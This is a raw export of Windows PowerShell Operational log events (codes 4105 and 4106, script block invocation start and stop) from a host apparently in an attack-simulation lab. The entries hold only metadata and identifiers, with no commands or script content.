SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034151
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034150
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034149
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034148
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034131
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034125
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
